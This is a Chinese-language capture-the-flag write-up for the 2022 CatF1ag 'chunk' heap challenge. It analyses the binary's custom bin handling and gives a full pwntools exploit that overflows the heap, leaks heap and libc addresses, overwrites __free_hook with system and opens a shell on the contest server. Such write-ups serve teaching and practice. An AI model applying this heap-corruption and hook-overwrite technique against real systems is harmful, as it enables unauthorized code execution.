2022catf1ag pwn-chunk wp
这个题感觉只要把程序逆清楚就可以写了。
常规保护。但是没有canary,可以考虑栈溢出。
标准的菜单题。
根据题目名称提示,可知本题是模拟了libc的chunk分配,稍加分析,可得到如下结构体:
然后我们对菜单进行逐个分析。
add
add提供了两种分配方式。一种通过malloc分配,另一种分配时通过判断是否存在bins,若存在,则取出bins的头部。这里并没有对size大小做出限制,且其中chunk的size即为堆块的fd指针位置。
delete
这里并未调用free,仅仅将对应的chunk块放入bins中。这里chunk的prev始终指向head_bin,next指向tail_bin,实现单链表的头插法。注意,这里将chunk放入bins的时候,并未将对应的heap[v1]清零。
clear
将bins全部free掉。这里有一个坑点就是,for循环判断寻找指定chunk时,heap[i]不能为空,否则就会崩掉。也就是删除指定索引i的chunk时,其前heap[i-1]不能为空。笔者比较菜,在这里花费了很长时间,导致比赛时没做出来。
show
edit
经过上述分析,我们可以得到如下思路:
- 将申请的堆块delete放入bins中,然后使用add的另一种申请方式,使chunk对应多个heap索引。
- 释放掉bins,将chunk的size覆盖为fd,得到edit堆溢出。
- 通过堆溢出修改chunk的mem_chunk,泄漏heapbase和libcbase。
- 堆溢出修改free_hook为system。
add_heap(0x80) # 0
add_heap(0x80) # 1
add_heap(0x80) # 2
add_heap(0x80) # 3
add_heap(0x420) # 4
add_heap(0x80) # 5
delete(4)
clear()
delete(3)
clear()
delete(2)
delete(1)
delete(0)
add_buffer() # 3
add_buffer() # 4
add_buffer() # 6 == 2
delete(2)
clear()
这里面笔者有个疑问的点,就是在clear掉heap[2]之后,chunk6的mem_chunk变成了tcache结构体地址,也就是说我们可以直接控制tcache结构体。
之后的做题方法就有很多了,可以直接控制tcache结构体实现任意地址分配;也可以直接输入大量字符溢出到栈上执行rop,这也许就是题目没开canary的原因吧。笔者则采用了中规中矩的方法,不断通过edit堆溢出修改free_hook。
详细wp如下:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './chunk'
elf = ELF(fn)
libc = ELF('./libc-2.31.so')
debug = 1
if debug:
p = remote('180.76.166.28', 36000)
else:
p = process(fn)
def menu(index):
p.sendlineafter('>> ', str(index))
def add_heap(size):
menu(1)
menu(1)
p.sendlineafter('Size:', str(size))
def add_buffer():
menu(1)
menu(2)
def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))
def edit(index, content):
menu(5)
p.sendlineafter('Index: ', str(index))
p.send(content)
def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))
def clear():
menu(3)
add_heap(0x80) # 0
add_heap(0x80) # 1
add_heap(0x80) # 2
add_heap(0x80) # 3
add_heap(0x420) # 4
add_heap(0x80) # 5
delete(4)
clear()
delete(3)
clear()
delete(2)
delete(1)
delete(0)
add_buffer() # 3
add_buffer() # 4
add_buffer() # 6 == 2
delete(2)
clear()
payload = p64(0) * 2 + p32(0) + p32(2) + p64(0) + p64(0) * 16
payload += p64(0) + p64(0) + p64(0) * 0x3a
payload += b'/bin/sh\x00' + p64(0xc1) + p64(0x1000)
edit(6, payload)
payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + b'\x70'
edit(0, payload)
show(1)
p.recvuntil('data: ')
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x420
log.success('heapbase: ' + hex(heapbase))
payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(heapbase + 0x5a0)
edit(0, payload)
show(1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('leak: ' + hex(leak))
libc_base = leak - 0x1ecbe0
log.success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[0]
payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(free_hook)
edit(0, payload)
edit(1, p64(system))
delete(0)
add_heap(0x20)
payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(heapbase + 0x420)
edit(0, payload)
edit(1, '/bin/sh\x00')
clear()
p.interactive()
最后再附上打通截图。